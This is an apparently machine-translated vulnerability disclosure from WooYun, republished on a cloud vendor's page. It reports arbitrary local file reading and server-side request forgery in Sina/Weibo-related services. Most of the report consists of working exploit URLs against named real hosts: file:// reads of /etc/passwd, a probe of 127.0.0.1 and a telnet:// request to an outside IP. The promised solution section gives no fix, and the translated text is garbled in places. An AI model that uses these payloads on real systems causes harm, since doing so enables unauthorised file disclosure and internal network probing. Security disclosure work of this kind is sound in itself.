Weibo-vulnerabilities in reading arbitrary files from multiple favorites and fixing them

Source: Internet
Author: User

 

Brief description:

Arbitrary File Reading vulnerability in multiple locations...

Detailed description:

The program should use the curl library, but did not notice the file: // protocol, resulting in Local Arbitrary file Reading...

Proof of vulnerability: www.2cto.com

The program should use the curl library, but did not notice the file: // protocol, resulting in Local Arbitrary file Reading...

Http://mark.appsina.com/read.php? Sid = 2247 & type = 0 & url = file: // etc/passwd & pos = 1 & from = 0 & gsid = signature & vt = 2

Why? You can perform the following tests:

Http://mark.appsina.com/read.php? Sid = 2247 & type = 0 & url = http: // 127.0.0.1/& pos = 1 & from = 0 & gsid = Hangzhou & vt = 2

Or

Http://mark.appsina.com/read.php? Sid = 2247 & type = 0 & url = telnet: // 221.179.193.1 & pos = 1 & from = 0 & gsid = login & vt = 2

Or simply read the code

 

Others:

Http://h2w.iask.cn/h2wdisplay.php? U = file: // etc/passwd

Http://h2w.iask.cn/h5.php? U = file: // etc/passwd

Http://h2w.iask.cn/h5.php? Url = file: // etc/passwd

Solution:

This vulnerability should have been discovered long ago.

Author milk tank @ wooyun

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.